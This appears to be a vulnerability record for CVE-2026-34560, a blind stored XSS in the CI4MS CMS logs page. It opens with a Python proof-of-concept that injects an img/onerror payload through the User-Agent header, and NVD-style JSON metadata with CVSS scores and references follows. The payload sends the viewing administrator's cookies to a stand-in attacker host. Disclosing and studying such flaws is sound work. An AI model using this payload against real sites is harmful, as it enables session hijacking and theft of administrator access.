CVE-2026-34560

# This PoC demonstrates a Blind XSS attack by injecting a payload into the User-Agent header. # The payload executes when an administrator views the application logs. import requests target_url = "http://vulnerable-ci4ms-site.com/index.php" malicious_payload = "<img src=x onerror='fetch(\"https://attacker.com/steal?c=\"+document.cookie)'>" headers = { "User-Agent": malicious_payload } try: response = requests.get(target_url, headers=headers) if response.status_code == 200: print("Payload sent successfully. Wait for admin to view logs.") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-34560", "sourceIdentifier": "[email protected]", "published": "2026-04-01T22:16:19.333", "lastModified": "2026-04-13T18:00:22.750", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. Prior to version 0.31.0.0, the application renders user-controlled input unsafely within the logs interface. If any stored XSS payload exists within logged data, it is rendered without proper output encoding. This issue becomes a Blind XSS scenario because the attacker does not see immediate execution. Instead, the payload is stored within application logs and only executes later when an administrator views the logs page. This issue has been patched in version 0.31.0.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.1, "impactScore": 5.3}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ci4-cms-erp:ci4ms:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.31.0.0", "matchCriteriaId": "805F6B8A-9324-4CA4-BADE-439CC15DA14C"}]}]}], "references": [{"url": "https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.0.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-r4v5-rwr2-q7r4", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-r4v5-rwr2-q7r4", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}